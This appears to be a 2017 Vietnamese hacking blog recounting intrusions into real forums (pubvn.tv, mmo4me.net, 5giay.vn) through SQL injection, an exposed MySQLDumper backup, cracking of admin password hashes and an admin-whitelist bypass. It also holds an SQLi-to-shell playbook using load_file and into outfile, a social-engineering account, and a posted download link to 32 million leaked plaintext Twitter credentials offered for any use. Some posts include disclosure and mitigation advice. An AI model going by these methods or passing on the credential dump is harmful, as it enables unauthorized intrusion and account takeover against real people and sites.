Thứ Năm, 27 tháng 4, 2017

Pwned diễn đàn Pubvn.tv, pubvn.net

Một ngày cuối tháng 3 hay đầu tháng 4 gì đó mình không nhớ rõ, có một bạn gởi link phim bên pubvn.tv cho mình xem vì phim này cũng hay, trước giờ mình chỉ làm thần dân bên phimmoi nên không có tài khoản và cũng không có nhu cầu về tài khoản vip ở pubvn.tv nên không xem ở diễn đàn này dù biết là website này rất nổi tiếng tại VN.Sẵn dịp có link nên click vào xem và phát hiện ra ngoài trang phim còn có thêm cái forum và máu xxx lại trỗi dậy, ngó ngang ngó dọc thấy pub sài mã nguồn Vbulletin version 4.x.x cũng khá thú vị nên test thử với những lỗ hổng đã được public thì khá hoảng khi phát hiện ra cái forum vẫn còn tồn tại cái lỗ hổng SQL Injection public từ năm ngoái :( Tiếp tục xxx vì lúc này máu nó dồn hết tới nơi cần tới rồi, lao vào chiến đấu thôi vì không thể dừng lại lúc này được :( và thế là có cái hình bên dưới.





Thấy có vẻ không ổn nên select thêm vài cái email của admin bên pubvn và gởi mail thông báo, có điều là sau gần chục ngày không ai reply nên cũng ráng tìm thử xem có tài khoản facebook của ad nào với cái mail đó không thì ra được 2 admin, report lần 2 cho hai người quản trị này.Mọi thứ vẫn im lặng cho đến ngày hôm sau thì admin Sứt Yêu đã reply lại và confirm Bugs đồng thời tiến hành vá lỗ hổng kèm theo lời cảm ơn.

Hôm sau trong lúc rảnh rỗi mình có xem lại toàn bộ quá trình pentest và thấy còn vài thông tin chưa xử lý dù nó không còn quan trọng nữa thế là lôi mấy hash md5 + salt của các tài khoản quản trị để tiến hành dùng Hashcat brute force với thuật toán md5(md5($pass).$salt)kết quả là dò ra được 2/4 mật khẩu của admin pubvn, lúc này mình cũng có thử đăng nhập nhưng một tài khoản bị cấm truy cập, tài khoản còn lại đăng nhập vào forum bình thường nhưng không vào được AdminCP của Vbulletin vì bên pubvn có thêm firewall ở bước này nên hệ thống cũng không ảnh hưởng gì khi tồn tại lỗ hổng này.Mình tiếp tục gởi thông báo lần 3 qua facebook cho admin để các admin thay đổi luôn thông tin này cho an toàn.

Kết thúc một cuộc tình chóng váng giữa Concobe và Pubvn, lại tiếp tục về mới phimmoi như mọi khi.

Thứ Tư, 26 tháng 4, 2017

Diadiemanuong.com và lỗ hổng vẫn chưa được fix.

Thật tình thì mình không có ý định viết bài này nhưng thật sự là thấy điều này ảnh hưởng đến rất nhiều người dùng ở VN nên đành phải nói lên vài lời để bạn nào đang sử dụng hoặc có tài khoản bên này hãy đổi mật khẩu mới và nhớ rằng đừng dùng chung mật khẩu với các tài khoản nào kẻo bị tấn công gián tiếp ảnh hưởng đến thông tin của các bạn.

Đầu tháng 4 mình có vô tình phát hiện ra lỗ hổng bảo mật ở mức rất cơ bản của admin, mình đã gởi email thông báo đến 2 địa chỉ email của diadiemanuong nhưng không thấy reply và lỗ hổng vẫn tồn tại, cách đây hai ngày mình kiểm tra lại email không thấy hồi âm nên có kiểm tra lại và lỗ hổng vẫn còn nên mình tiếp tục gởi thêm email cảnh báo đến 2 địa chỉ email của diadiemanuong.com, thông báo gởi thành công nhưng vẫn không có hồi âm, bug vẫn tồn tại.



Đành viết vài dòng để nhắc nhở đến những bạn nào đang có tài khoản ở diadiemanuong thì cẩn thận kẻo bị ảnh hưởng nếu có ai đó tấn công vào với mục đích xấu.

Concobe

Thứ Ba, 25 tháng 4, 2017

Tôi đã pwn diễn đàn mmo4me.net thế nào.

Được sự đồng ý của admin NEO sau khi report lỗ hổng và bạn ấy đã fix hết lỗ hổng thì mình mới bắt đầu viết bài này để chia sẻ cho các bạn hướng tấn công mà mình đã dùng trong trường hợp này.


Mọi thứ bắt nguồn từ lỗi sơ hở của admin khi sài công cụ backup CSDL MysqlDumper để sao lưu CSDL trước đây và để lại thư mục công cụ đó trên server với tên /msd/ một cái tên khá phổ biến nằm trong tool của mình tổng hơp, dựa vào thói quen của các admin khi quản lý mã nguồn và CSDL.Tuy nhiên điểm chính yếu là những thông tin kết nối vào CSDL trong file config.php đã được thay đổi không còn quyền truy cập trực tiếp vào CSDL của mmo4me.net nữa nên mình ngồi xem logs.Logs sao lưu CSDL mà công cụ này tạo ra khi các bạn sử dụng để backup hay restore database, và một chút may mắn đã mỉm cười với mình khi thử dùng tên file đã sao lưu nằm trong thư mục /msd/work/backup/ten_file_backup_csdl.sql.gz đã tồn tại.

Mình có trong tay CSDL đã được backup của admin mmo4me.net cho forum mã nguồn xenforo, cũng khá phức tạp vì xenforo có nhiều tối ưu về bảo mật hơn một số mã nguồn diễn đàn phổ biến khác, đặc biệt là ở thuật toán mã hóa mật khẩu cũng tốt hơn rất nhiều khi dùng thuật toán bcrypt để mã hóa, mình có full info của admin trong CSDL gồm username:hash password:email.

Lúc này thì bắt đầu mình thấy có chút khó khăn xuất hiện vì với thuật toán này nếu brute force cũng mất khá nhiều thời gian, nên mình ngồi tổng hợp lại toàn bộ thông tin mà mình có được ở trong CSDL và trong quá trình thu thập thông tin để tạo thành một bộ wordlist có mối quan hệ gần nhất với victim này, bắt đầu brute force với thuật toán bcrypt wordlist đó lần thứ nhất không thành công, cũng khá thất vọng nhưng mình chưa từ bỏ, đành ngồi viết lại cái rules brute force dành riêng cho victim này, gồm những kiểu đặt mật khẩu phổ biến của các admin, như chữ hoa, chữ thường, thêm số, ký tự đặc biệt phổ biến, đổi chỗ,...Và lại tiếp tục brute lại với bộ wordlist đó, lần này thì sự kết hợp đó đã mang lại thành công.



Mật khẩu của admin đã có gồm chuỗi với 8 ký tự chữ thường không viết hoa được cắt ra từ một phần địa chỉ email của admin, kèm theo một dãy số 7 ký tự khá phổ biến mà mình đã thấy trong quá trình tổng hợp thông tin của admin, lần này sự kết hợp giữa rules và wordlist đã cho ra kết quả thật sự.

Giờ thì đã có đầy đủ những thứ cần thiết, login vào acc admin trên forum để test xem sao và... Chào mừng bạn quay lại diễn đàn...Dòng chữ ấy mang lại quá nhiều cảm xúc khó tả =]] Hăm hở click thẳng vào admin để đăng nhập vào admin control của forum xenforo nhưng ...Một cái trang trắng nhách như mắt ma xuất hiện làm tụt hết cảm xúc các bạn à, mất tầm 30 giây để lấy lại cảm xúc vì bị hụt một vố quá căng =)).Lẽ nào lại có thêm một bước xác thực nữa trước khi vào được admin control của victim chăng?Nghĩ đến đây thì mình liền quăng domain vào cái tool cóc ghẻ mình tổng hợp và hay sài, cho nó scan những công cụ mà các bài viết hướng dẫn bảo vệ admin.php, admincp,...đầy trên mạng và một lần nữa kinh nghiệm làm checker của mình gần chục năm đã khiến cho may mắn phải mỉm cười với mình :3

Một công cụ để thêm ip của mình vào danh sách whitelist thì mới có quyền dòm ngó vào admin control hiện ra, thấy vui vãi, click vào cái link và lại một lần nữa hụt hẫng, nguyên cái form yêu cầu nhập mật khẩu để quản trị cái tool addIP đó khiến tim mình rạn nứt :(( .Đến đây mình nghĩ có lẽ nên dừng lại được rồi, nên ngồi mở Lạc Trôi của sếp lên nghe và nó lạc trôi thật các bạn à, tự nhiên thấy bừng sáng với cái ý tưởng rất hữu lý bèn mở lại link tool addIP đó và điền thông tin mình nghĩ vào, thật không thể tin được,IP của bạn đã được thêm vào danh sách.Đang trôi nên thả trôi luôn lao vào /admin.php xem sao? thành công mỹ mãn.Kết thúc quá trình tấn công với nhiều cung bậc cảm xúc lên xuống tá lả.



Quên mất, nói thêm là cái pass mà mình nghĩ ra được nó nằm ở cái dãy 7 chữ số của cái pass đăng nhập vào tài khoản của admin đã brute ra ở trên đó mấy chế.

Tóm tắt toàn bộ quá trình:
1. Scan thông tin dựa vào thói quen admin và phát hiện công cụ backup đồng thời có luôn CSDL trong tay.
2. Brute force mật khẩu admin thành công (dựa vào thông tin thu thập và tự sáng tác rules để brute).
3. Tiếp tục scan thói quen bảo mật của admin và gặp may mắn khi scan ra cũng như lạc trôi có pass.
4. Login, chụp hình, sent email report cho admin, sau gần 1 tuần thì hỏi ý kiến admin NEO và public bài viết.

P/s: Thông tin là thứ rất quan trọng trong quá trình tấn công, chính vì thế đừng bao giờ bỏ qua bất kỳ thông tin nào của victim trong quá trình thu thập.Tận dụng triệt để thì thành công sẽ mỉm cười thôi.

Concobe

Thứ Sáu, 7 tháng 4, 2017

Social engineering là gì?

Social engineering là phương pháp phi kỹ thuật đột nhập vào hệ thống hoặc mạng công ty. Đó là quá trình đánh lừa người dùng của hệ thống, hoặc thuyết phục họ cung cấp thông tin có thể giúp chúng ta đánh bại bộ phận an ninh. Social engineering là rất quan trọng để tìm hiểu, bởi vì hacker có thể lợi dụng tấn công vào yếu tố con người và phá vỡ hệ thống kỹ thuật an ninh hiện tại. Phương pháp này có thể sử dụng để thu thập thông tin trước hoặc trong cuộc tấn công.

Social engineering sử dụng sự ảnh hưởng và sự thuyết phục để đánh lừa người dùng nhằm khai thác các thông tin có lợi cho cuộc tấn công hoặc thuyết phục nạn nhân thực hiện một hành động nào đó. Social engineer (người thực hiện công việc tấn công bằng phương pháp social engineering) thường sử dụng điện thoại hoặc internet để dụ dỗ người dùng tiết lộ thông tin nhạy cảm hoặc để có được họ có thể làm một chuyện gì đó để chống lại các chính sách an ninh của tổ chức. Bằng phương pháp này, Social engineer tiến hành khai thác các thói quen tự nhiên của người dùng, hơn là tìm các lỗ hổng bảo mật của hệ thống. Điều này có nghĩa là người dùng với kiến thức bảo mật kém cõi sẽ là cơ hội cho kỹ thuật tấn công này hành động.

Thông thường, mọi người không nhận thấy sai sót của họ trong việc bảo mật, mặc dù họ không cố ý. Những kẻ tấn công đặc biệt rất thích phát triển kĩ năng về Social Engineering và có thể thành thạo đến mức những nạn nhân của không hề biết rằng họ đang bị lừa. Mặc dù có nhiều chính sách bảo mật trong công ty, nhưng họ vẫn có thể bị hại do tin tặc lợi dụng lòng tốt và sự giúp đỡ của mọi người.

Những kẻ tấn công luôn tìm những cách mới để lấy được thông tin. Họ chắc chắn là họ nắm rõ vành đai bảo vệ và những người trực thuộc – nhân viên bảo vệ, nhân viên tiếp tân và những nhân viên ở bộ phận hỗ trợ – để lợi dụng sơ hở của họ. Thường thì mọi người dựa vào vẻ bề ngoài để phán đoán. Ví dụ, khi nhìn thấy một người mặc đồng phục màu nâu và mang theo nhiều hộp cơm, mọi người sẽ mở cửa vì họ nghĩ đây là người giao hàng. Hay khi bạn nhặt được một chiếc USB bạn có thể rất vô tư cắm nó ngay vào máy tính để xem nó là của ai và chứa thông tin gì. Nhưng đó có thể chính là nguồn phát tán virus và mã độc đến bạn, tổ chức và người thân của bạn.

Nguồn bài viết từ trang: http://securitydaily.net/social-engineering-va-cac-thu-thuat-tap-1/

Tôi đã dùng phương pháp này ra sao?

Một người anh rất thân của tôi cũng là dân IT và có niềm đam mê vào những thông tin, mánh khóe của giới bảo mật nhưng vì công việc và cuộc sống có quá nhiều bộn bề nên anh không có cơ hội để tìm hiểu sâu về nó, sau vài lần report bug của website mà anh ấy đang quản lý thì những thắc mắc ấy lại trỗi dậy, nên tôi quyết định áp dụng phương pháp Social engineering và thành công ngoài sự mong đợi, có lẽ sau khi viết bài này thì anh ấy sẽ nhận ra rằng anh ấy cũng đã mắc một sai lầm trong khâu bảo mật của mình và  chắc chắn là chuyện này sẽ không còn xảy ra trong tương lai vì những nguy hiểm tiềm ẩn mà tôi trình bày bên dưới:

Tôi và anh trao đổi, nói chuyện và anh cũng mở lòng chia sẻ là anh đang trong quá trình chuyển đổi mã nguồn website từ nguồn đóng sang nguồn mở, như mọi lần thì tôi cũng đều giúp anh pentest và chỉ ra những điểm yếu mà anh ấy đang mắc phải để khắc phục cho hệ thống an toàn thêm, lần này cũng không ngoại lệ, sau khi kết thúc thì hôm sau tôi chủ động hẹn anh ấy và anh em có một buổi ăn trưa tuyệt vời.

Trong buổi ăn trưa tôi cũng có trình bày những hướng tấn công phổ biến mà các hacker hay sử dụng từ webapp, đến hệ thống, những lỗ hổng nào ở tầng webapp phổ biến và mức độ nguy hiểm của nó,...và đi sâu xuống tầng hệ thống, kernel,...toàn những thông tin thực tế mà tôi đúc kết từ quá trình pentest của chính bản thân tôi khi gặp phải và cách xử lý ra sao?, khắc phục như thế nào?...Thú thật là đến thời điểm hiện tại trong bữa ăn trưa thì tôi vẫn chưa hề đụng được vào hệ thống mới mà anh ấy vừa xây dựng.

Trong bữa trưa, ngoài trình bày và chia sẻ thì tôi cũng có "hỏi thăm" thêm những thông tin quản trị của hệ thống đó gồm những ai, họ làm gì và thông tin ra sao, để tôi có thêm chút cơ hội trong quá trình tấn công sau này tuy nhiên những thông tin này vẫn chỉ dừng lại ở mức để tham khảo  và vẫn chưa có thêm bất kỳ info nào giúp tôi có thể leo cao hơn vào hệ thống của anh ấy cả, tôi vẫn chưa từ bỏ, sau khi kết thúc bữa trưa, tôi và anh chia tay nhau, trên đoạn đường ngắn ngủi thì tôi cũng có gợi thêm vài điều để củng cố niềm tin và đẩy anh ấy tới suy nghĩ quyết định sẽ mở một tài khoản cho tôi truy cập vào hệ thống của anh ấy, thật tuyệt vời phải không các bạn?

Tuy nhiên với quyền của tài khoản tôi đang nắm giữ thì chỉ đủ để nắm rõ hơn thông tin về các thành viên admin đang quản trị hệ thống đó và tài khoản của tôi vẫn không làm gì được hơn, và lúc này tôi quyết định chơi bài ngửa.Tôi nêu hẳn ra những điểm nguy hiểm của một tài khoản full quyền sẽ làm được những gì, đi xa đến đâu, ảnh hưởng như thế nào và thuyết phục anh ấy gán full quyền cho tài khoản mà tôi đang giữ  để giúp anh kiểm tra ở tầng cao hơn vì có khi có người quản trị mắc sai lầm ở tầng này, vì tin tưởng tôi nên anh đã thực hiện việc này và hoàn toàn không nghi ngờ gì về tôi cả, vốn dĩ trước giờ tôi cũng toàn giúp anh và chưa hề phá phách gì nên niềm tin của anh đối với tôi là rất lớn, điều này đã quyết định sự thành công của toàn bộ quá trình tấn công của tôi với phương pháp Social engineering này.

Tôi dừng quá trình tấn công ngay sau khi tài khoản của tôi có đủ quyền vì tôi đã thành công trong phương pháp Social engineering, bởi vì với tài khoản full quyền này thì tôi hoàn toàn có thể tải lên mã độc và chiếm toàn quyền server nhưng đây chỉ là minh họa cho một hình thức tấn công phi kỹ thuật và tôi muốn trình bày ra để anh ấy nhận ra được điểm yếu và sai lầm của anh ấy trong quá trình bảo vệ thành quả của mình đã tạo ra.

Và tôi tin chắc rằng sau bài này, thì anh ấy sẽ không còn share cho tôi tài khoản nào nữa :D, tức là trong tương lai có thể tôi sẽ gặp phải nhiều khó khăn hơn trong quá trình pentest hệ thống khác của anh ấy, nhưng nếu điều ấy xảy ra thì tôi hoàn toàn vui vẻ và mừng rỡ vì anh ấy đã nhận ra được lỗ hổng của hệ thống anh ấy đang quản lý chính là vấn đền về niềm tin về con người và bị tôi khai thác.


Kết bài: Cho dù bạn tin tưởng ai đó thật nhiều thì cũng luôn tỉnh táo, đừng giao thông tin nhạy cảm cho người đó, nhất là ... mấy tên IT có máu hắc hiếc thì càng phải giữ thật kỹ kẻo,... lên báo đấy :D.

Concobe

Thứ Sáu, 24 tháng 3, 2017

Lộ tập tin sao lưu mã nguồn, một lỗ hổng nguy hiểm.


Thời gian gần đây khi pentest khá nhiều website mà tôi gặp được một phương thức duy nhất đó là scan các tập tin nhạy cảm, những tập tin sao lưu và luôn cả những công cụ sao lưu dữ liệu phổ biến thì tôi nhận thấy rằng tình trạng mắc lỗi bảo mật cơ bản này diễn ra khá phổ biến, có khoảng 45% những site mà tôi lên danh sách để thử tool tồn tại các điểm yếu dạng này.

Bình thường các admin, kỹ thuật viên thường không để ý đến những tập tin đã sao lưu toàn bộ mã nguồn cũng như CSDL và thông tin quan trọng của hệ thống đang chạy vì có thể do sơ xuất hoặc họ không nghĩ rằng những file sao lưu đó không ảnh hưởng gì hoặc đơn giản là họ suy nghĩ trang web của họ có ai thèm dòm ngó,....

Nhưng đối với một hacker thì đây lại là một nguồn thông tin vô cùng quý giá và sẽ giúp họ giảm thiểu được rất rât nhiều công sức mới có thể có được những thông tin quan trọng như thế, và đương nhiên họ sẽ sử dụng triệt để những thông tin này để leo lên nắm quyền cao nhất mà họ có thể tận dụng và rồi tất nhiên người tổn hại chính là những victim bất cẩn đó.

Tôi sẽ phân tích những điểm yếu khi các bạn để lộ một trong những thông tin quan trọng dưới đây và mức độ ảnh hưởng khi kết hợp lại với nhau ra sao.

1. Lộ toàn bộ mã nguồn khi backup source và không xóa sau khi đã tải về máy để lưu trữ.
Ở tình huống này thì những thông tin mà các bạn bị lộ là toàn bộ và chẳng còn gì để mất nữa cả :)

- Với thông tin này thì tôi sẽ xem xét đến các thông tin quan trọng trong các tập tin lưu cấu hình kết nối đến CSDL của các bạn.Sau đó tôi sẽ dùng những thông tin đó để thử kết nối đến CSDL các bạn đang sử dụng qua những công cụ có sẵn vd: phpMyAdmin trên server nếu các bạn có cài đặt nó và cho phép truy cập, hoặc các bạn open port cũng như cho phép connect vào CSDL từ bên ngoài.Đến đây thì tôi hoàn toàn có thể chiếm quyền quản trị của bất kỳ người admin nào, hoặc bất kỳ thành viên nào đang tồn tại trên hệ thống của các bạn, chưa kể nếu các bạn gán đầy đủ quyền cho user quản trị CSDL đang sài, hoặc sử dụng user có quyền cao nhất là root thì khả năng chiếm được server các bạn sẽ tăng lên trên 90%.

- Ngoài ra tôi cũng sẽ tận dụng những thông tin như username, password các bạn tạo cho việc connect vào CSDL đó để thử kết nối vào một số dịch vụ quan trọng khác như SSH, FTP, Panel, Email,...Nếu may mắn mỉm cười vì các bạn sài chung mật khẩu cho các dịch vụ đó thì các bạn lại gặp nguy hiểm nhanh hơn.

- Cũng có thể trong mã nguồn sẽ kèm theo luôn cả bản sao lưu của Database trang web các bạn, và đây lại là một nguồn thông tin quý giá cho tôi khai thác, trong tình huống này tôi sẽ select ra những thông tin của người quản trị và tiến hành giải mã những mật khẩu đã được mã hóa để đăng nhập vào quyền quản trị rồi leo cao hơn để vào server các bạn.

2. Lộ toàn bộ mã nguồn khi backup source nhưng không có thông tin nào tận dụng được như ở mục số 1.

Với tình huống này thì có thể các bạn không sao lưu CSDL của các bạn, hay thông tin trong các tập tin cấu hình không sử dụng được để kết nối từ ngoài vào thì xem như các bạn có chút may mắn rồi, tuy nhiên mọi việc vẫn chưa dừng lại đây vì khi đã có được mã nguồn của các bạn tôi sẽ tiếp tục đào sâu hơn và tìm kiếm những lỗ hổng trong mã nguồn trang web của các bạn rồi tận dụng nó để tiếp tục tấn công leo cao hơn.
Ngoài ra nếu các bạn sài chung với vài trang web khác trên cùng một server thì tôi cũng có thể tận dụng thông tin kết nối CSDL đó sau khi đã khai thác vào được một trang nằm cùng server và lúc này thì có lẽ tôi không còn tốn công để local qua host các bạn mà chỉ việc kết nối thẳng đến CSDL của các bạn bởi lúc này tôi đã có quyền quản lý trên hệ thống (local) của các bạn rồi.

3. Kết luận và giải pháp.
Tóm lại như các bạn đã đọc ở mục 1 & 2 thì tôi đã gợi ý ra những hướng tấn công lợi dụng vào một điểm yếu duy nhất của các bạn là để lại tập tin backup mã nguồn và tôi phát hiện thấy, và kết quả thì các bạn cũng có thể thấy rõ rồi.Cách khắc phục thì cũng khá rõ ràng rồi đó là:

- Không sao lưu mã nguồn và để lại ngay trên server của mình với tên tập tin quá dễ đoán vd: tendomain.zip, public_html.zip, html.zip,...
- Không sử dụng chung mật khẩu quản trị CSDL cho nhiều dịch vụ khác vd: SSH, FTP, Admin, Email,...
- Hạn chế sử dụng các công cụ hỗ trợ quản trị CSDL với cài đặt và sử dụng mặc định, vd: phpMyAdmin có thể đổi thành tên truy cập mà chỉ có mình bạn biết.
- Không mở quyền cho truy cập trực tiếp từ ngoài vào CSDL của các bạn vd: chỉ cho kết nối vào CSDL ở localhost.
- Thay đổi lại toàn bộ thông tin quan trọng trên hệ thống vd: username, password của toàn bộ dịch vụ, kiểm thử lại mã nguồn để tránh bị găm mã độc,...
- Gởi lời cảm ơn đến người đã thông báo lỗ hổng cho các bạn, vì biết đâu một ngày nào đó họ sẽ lại thông báo cho bạn một lỗ hổng mới của các bạn.

Concobe

Thứ Tư, 22 tháng 3, 2017

Kịch bản tấn công vào một hệ thống với lỗ hổng SQL Injection

Đây là một tình huống thực tế và cũng khá phổ biến khi kiểm thử những hệ thống lớn và nhỏ tại VN mà tôi rút ra được, hôm nay cũng chia sẻ một phần nhỏ của quá trình pentest và những hướng xử lý phù hợp khi gặp, hoặc những bạn nào đang bí ý tưởng có thể tham khảo.

1. Hệ thống có website tồn tại lỗ hổng SQLi với quyền quản trị database là user không full quyền.
2. Hệ thống có website tồn tại lỗ hổng SQLi với quyền quản trị database là root hoặc user full quyền.
3. Hướng khắc phục dựa vào những điểm yếu ở trên.


Chúng ta bắt đầu đi vào chi tiết của từng mục.

1. Hệ thống có website tồn tại lỗ hổng SQLi với quyền quản trị database là user không full quyền.
Đây là tình huống gần như là tuyệt đối khi victim tồn tại lỗ hổng SQLi rồi, vì đại đa số các trang web thường sử dụng các dịch vụ share hosting và những nhà cung cấp dịch vụ này hiển nhiên không bao giờ cấp full quyền cho các bạn cả, và lúc này chúng ta sẽ phải tận dụng tối đa những thông tin mà chúng ta thu gom được trong quá trình khai thác lỗi SQLi và trong quá trình thu gom thông tin victim để tổng hợp những thông tin chính yếu, quan trọng để xử lý.

Với trường hợp này thì theo Concobe có lẽ tùy vào mục đích của mỗi người lúc đó sẽ có nhu cầu khai thác tới đâu, vd các bạn chỉ cần select được những thông tin lưu trữ trong database thì đến đây các bạn đã hoàn toàn thành công khi tìm được lỗ hổng SQLi, nhưng với những ai pentest và những ai có nhu cầu cao hơn, muốn chiếm được càng nhiều thông tin và quyền quản trị của victim càng tốt thì sẽ phải tiếp tục sử dụng những thông tin có được.

Mình thường tổng hợp các thông tin và dùng các công cụ để tạo ra một bộ từ điển tạm gọi là sát nhất với những thông tin của victim mà mình có được, sau đó mình sẽ dùng các công cụ để brute-force những mật khẩu của victim dựa vào bộ wordlist mới generate đó.Nếu may mắn thì các bạn có thể có được mật khẩu và đăng nhập vào khu vực quản trị của admin để bắt đầu upload lên server victim cái mà các bạn muốn upload (các bạn hiểu ý tôi rồi chứ :v ).

Còn lỡ như hôm đó các bạn mới ăn cơm hay bún,...với mực thì có lẽ các bạn nên để qua hôm sau hãy tiến hành brute-force vì theo kinh nghiệm của tôi thì nó đen thật đấy =]].Nói chơi cho vui thôi chứ không ra thì chịu chứ biết làm sao giờ?
Nói chứ đến đây cũng không hẳn là tịt hoàn toàn đâu, các bạn cũng nên ngó kỹ qua mã nguồn và cách hoạt động cũng như thông tin trong các table của database đó, biết đâu lại có cách để reset password và mình select ra rồi may mắn mỉm cười thì sao.Nhớ nhé, đừng từ bỏ, chừng nào khó quá thì cho qua thôi.


2. Hệ thống có website tồn tại lỗ hổng SQLi với quyền quản trị database là root hoặc user full quyền.

a. Dùng trình duyệt và câu truy vấn SQLi để ghi file vào hệ thống.
Cũng như trên nhưng ở tình huống này chúng ta có một thông tin giúp quá trình pentest thuận lợi hơn để leo cao hơn bởi user quản lý Database nếu được gán (Grant) full quyền sẽ tương đương với user root của hệ quản trị csdl đó :D và có thêm hai quyền cho phép chúng ta load_file và into outfile.

Với Load_file chúng ta có thể tận dụng thông qua SQLi để load lên nội dung những file tồn tại trên hệ thống đó nếu những file đó không được cấu hình và phân quyền cẩn thận, mà đa phần theo mình thấy là load được, nhất là các file lưu cấu hình CSDL website, lưu cấu hình hệ thống để nắm rõ hệ thống đang sử dụng công nghệ nào và gồm những gì để chúng ta tiến hành ghi file vào hệ thống thông qua into outfile.

Với Into outfile thì sau khi chúng ta có thông tin từ quá trình load_file như đường dẫn các thư mục của website victim, thông tin user và mật khẩu quản trị csdl,... chúng ta dùng chính query để khai thác SQLi và tiến hành ghi file vào hệ thống, rồi chiếm full quyền.

b. Dùng trình duyệt kết hợp với công cụ quản trị CSDL để ghi file vào hệ thống.
Với cách này thì cũng hên xui là chính (có thể không tìm được thư mục cho phép ghi (chmod 777) file thì sao) nhưng mình vẫn nêu ra để các bạn có thêm hướng xử lý nếu gặp phải, sẽ giúp quá trình thực hiện nhanh hơn và linh hoạt hơn so với query trên trình duyệt để ghi file.

Nếu vô tình victim có sử dụng công cụ quản lý CSDL như phpMyAdmin thì các bạn dùng nó kết hợp với thông tin đã load được từ các file config gồm username password quản lý CSDL ở bước 1 để đăng nhập và thực thi các câu truy vấn cho dẽ dàng hơn.Ngoài ra các bạn cũng có thể dùng phpMyAdmin để tiến hành update CSDL để chiếm quyền của user quản trị dễ dàng hơn rồi vào khu vực quản trị website để upload cái cần upload :(.

Nếu vẫn không tồn tại phpMyAdmin thì các bạn cũng nên thử thêm các công cụ hỗ trợ remote connect từ ngoài vào CSDL như Navicat,... để thử vận may, vì đa phần hiện nay mặc định khi cài đặt các trình quản lý CSDL đều không cho phép connect từ ngoài vào vì lý do an toàn, nhưng dù gì cũng cùng đường rồi, thử đi biết đâu lúc cài đặt lão admin lười biếng chọn next, next, yes, yes hết thì sao :D

Tóm lại phần 1 & 2 đơn giản gồm có:
- Lỗi SQL injection.
- Không có full quyền, brute-force và tìm kiếm vận may.
- Có full quyền và dùng load_file và into outfile để upload hàng họ lên.
- Tận dụng những công cụ và thông tin có sẵn để tạo thuận tiện trong quá trình pentest.


3. Hướng khắc phục dựa vào những điểm yếu ở trên.
- Kiểm thử, giám sát và quản lý hệ thống liên tục để tìm kiếm lỗ hổng và fix theo hướng chủ động.
- Cấu hình và phân quyền chặt chẽ nhưng file cấu hình của hệ thống như file config chứa thông tin CSDL website, file cấu hình web, host,...
- Cấu hình và phân quyền chặt chẽ nhưng thư mục của hệ thống đặc biệt không phân quyền 777 cho thư mục để tránh bị ghi file vào.
- Không cho phép kết nối vào CSDL từ bên ngoài, không sử dụng mặc định các công cụ quản lý dữ liệu như phpMyAdmin.
- Ngày ngày thắp nhang khấn vái và làm việc thiện để không bị ai dòm ngó, hoặc có bị dòm ngó cũng được họ thông báo fix lỗi chứ không phá hoại, nhớ cảm ơn và ủng hộ những người đó nếu có điều kiện.

Concobe một chiều rảnh rỗi.

Thứ Sáu, 17 tháng 2, 2017

Link download 32 triệu tài khoản twitter bị hack và chia sẻ

Passwords for 32M Twitter accounts may have been hacked and leaked

There is yet another hack for users of popular social media sites to worry about. Hackers may have used malware to collect more than 32 million Twitter login credentials that are now being sold on the dark web. Twitter says that its systems have not been breached.
“We are confident that these usernames and credentials were not obtained by a Twitter data breach – our systems have not been breached. In fact, we’ve been working to help keep accounts protected by checking our data against what’s been shared from recent other password leaks,” a Twitter spokesperson said.

 
 Mấy ngày nay thông tin về việc 32 triệu tài khoản của twitter gồm email và mật khẩu dạng plaintext đang được rao bán trên chợ đen và được chia sẻ rộng rãi ở các trang web, facebook và các mạng xã hội, đây là vấn đề cấp bách và lớn cho những ai đang sử dụng Twitter hay mau chóng đổi mật khẩu của mình càng sớm càng tốt để tranh bị mất tài khoản, bên cạnh đó nếu bạn nào đang sử dụng chung một mật khẩu đó với các tài khoản khác thì cũng nhanh chóng đổi mật khẩu mới để thông tin cá nhân được an toàn.



Tuy nhiên theo thông tin chính thức từ Twitter thì những thông tin này do hacker dùng mã độc để thực hiện đánh cắp và tổng hợp lại và rao bán trên chợ đen chứ hệ thống chính của họ vẫn không bị tấn công và mọi thứ vẫn trong tầm kiểm soát.

Bên Twitter cũng có đưa ra biện pháp hạn chế rủi ro và giúp người dụng bảo vệ tài khoản của họ bằng cách kiểm tra những dữ liệu bị rò rỉ và dữ liệu trên hệ thống và thông báo đến những ai đang bị ảnh hưởng từ vụ rò rỉ này để họ khắc phục sớm nhất.

Cuối cùng tôi cũng chia sẻ link download 32 triệu tài khoản này gồm email - mật khẩu không mã hóa, để những ai có nhu cầu tìm hiểu và sử dụng tùy theo mục đích cá nhân. Link download tôi chia sẻ của một người nào đó đã chia sẻ lên mạng, không phải do tôi upload lên, các bạn nên kiểm tra trước khi sử dụng cho an toàn.


Link: https://mega.nz/#!pkJl2QQR!_nWYeIZCF4LGOh2k20Y9X9tl3YPz4_Y1DF4I7vdpKws
File name: Twitter.zip
728.3 MB

Concobe

Thứ Năm, 16 tháng 2, 2017

Tôi đã hack diễn đàn 5giay.vn sử dụng xenforo như thế nào.

Sáng 15-02-2017 trong lúc trao đổi ở hội kín của những thành viên coi nhau như là anh em từ thời XgR còn sống và vẫn âm thầm sống với nhau tới hiện tại, chúng tôi có nhận được một cái lỗ hổng của Xenforo, máu dồn đến nơi cần dồn và ngồi thử hàng với một số trang sài Xenforo lớn ở VN
kết quả cũng có khá nhiều trang mắc lỗ hổng này, trong đó có www.5giay.vn một trang web rao vặt lớn mà ai cũng biết.

Ngồi thử Inject vài câu truy vấn cơ bản và nhận ra là hệ thống không có cản lọc, chỉ cần dùng những gì cơ bản nhất của SQL Injection cũng có thể lấy được những thông tin cần thiết như:





user(), database(), version() : 5s_u1@memcachehaproxy.5giay.vn:5s_db1:5.6.24-log

Nhận thấy điều này có thể gây ảnh hưởng lớn đến hệ thống nên tôi select vài thông tin email của admin và soạn email thông báo để gởi cảnh báo lỗ hổng đến họ, lỗ hổng đã được fix vào ngày hôm sau và tôi nhân được email cảm ơn từ BQT diễn đàn 5giay.vn.




Những ai đang sử dụng mã nguồn Xenforo xin hãy ngay lập tức update mã nguồn của mình lên version mới nhất để tránh tổn thất, bởi exploit này cũng có khá nhiều người biết và đang sử dụng nó rồi.


Quá trình thông báo:
15-02-2017 : Phát hiện lỗ hổng.Thông báo tới BQT diễn đàn 5giay.vn
...
16-02-2017 : Bug được fix trong buổi sáng, chiều nhận được email reply cảm ơn.Confirm là bug đã được fix, viết bài lên blog.


Kiểm thử bởi Concobe

Thứ Tư, 8 tháng 2, 2017

Lỗi SQL injection của mod Fun Shop trên Vbulletin

